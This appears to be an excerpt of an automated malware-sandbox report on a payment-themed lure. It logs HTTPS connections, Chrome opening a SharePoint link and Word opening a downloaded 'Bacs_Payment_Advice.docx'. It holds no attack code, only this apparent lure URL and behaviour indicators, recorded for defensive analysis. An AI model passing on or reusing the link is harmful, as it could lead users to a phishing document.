Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 49724 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49905 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50044 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50042 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50059 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 50054 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 49913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49919 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 49882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50029 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50058 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 50069 -> 443

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2024,i,14991393779574861015,13509704802268375170,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://midlandlangarsevasociety-my.sharepoint.com/:w:/g/personal/sharon_bharaj_mlss_org_uk/EWiGFFYhPhtPjz5jsZdcRooBPGLh-q5SsgwgIhmP7JCmAg"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Downloads\Bacs_Payment_Advice.docx" /o ""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=2024,i,14991393779574861015,13509704802268375170,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE "C:\Program Files (x86)\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\user\Downloads\Bacs_Payment_Advice.docx" /o ""	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Bacs_Payment_Advice.LNK.6.dr	LNK file: ..\..\..\..\..\Downloads\Bacs_Payment_Advice.docx

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
